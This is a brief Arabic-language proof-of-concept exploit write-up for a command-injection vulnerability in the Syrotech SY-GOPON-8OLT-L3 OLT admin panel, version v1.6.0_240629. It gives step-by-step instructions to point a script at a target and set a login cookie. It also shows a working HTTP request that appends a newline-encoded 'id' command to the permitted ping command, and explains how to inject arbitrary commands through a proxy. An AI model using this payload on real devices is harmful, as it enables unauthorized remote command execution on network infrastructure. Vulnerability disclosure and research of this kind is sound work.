
إثبات مفهوم لاستغلال ثغرة حقن أوامر في Syrotech SY-GOPON-8OLT-L3، مما يسمح بتنفيذ أوامر عشوائية عبر التلاعب بطلبات HTTP.
ثغرة حقن الأوامر في Syrotech SY-GOPON-8OLT-L3 الإصدار v1.6.0_240629
1- قم بتعديل الرابط في البرنامج النصي.
2- قم بتعديل قيمة Cookie_Login في البرنامج النصي.
3- قم بتشغيل البرنامج النصي، سيسمح لك بتنفيذ الأوامر.
GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1
عادةً، يُسمح فقط بتنفيذ أمر ping في لوحة الإدارة.
إذا قمت باعتراض الطلب باستخدام وكيل، أضف بايت سطر جديد إلى نهاية معلمة الأمر واكتب الأمر الذي تريد تشغيله، فسيسمح لك بتشغيل أمر آخر.
Mehmet Demir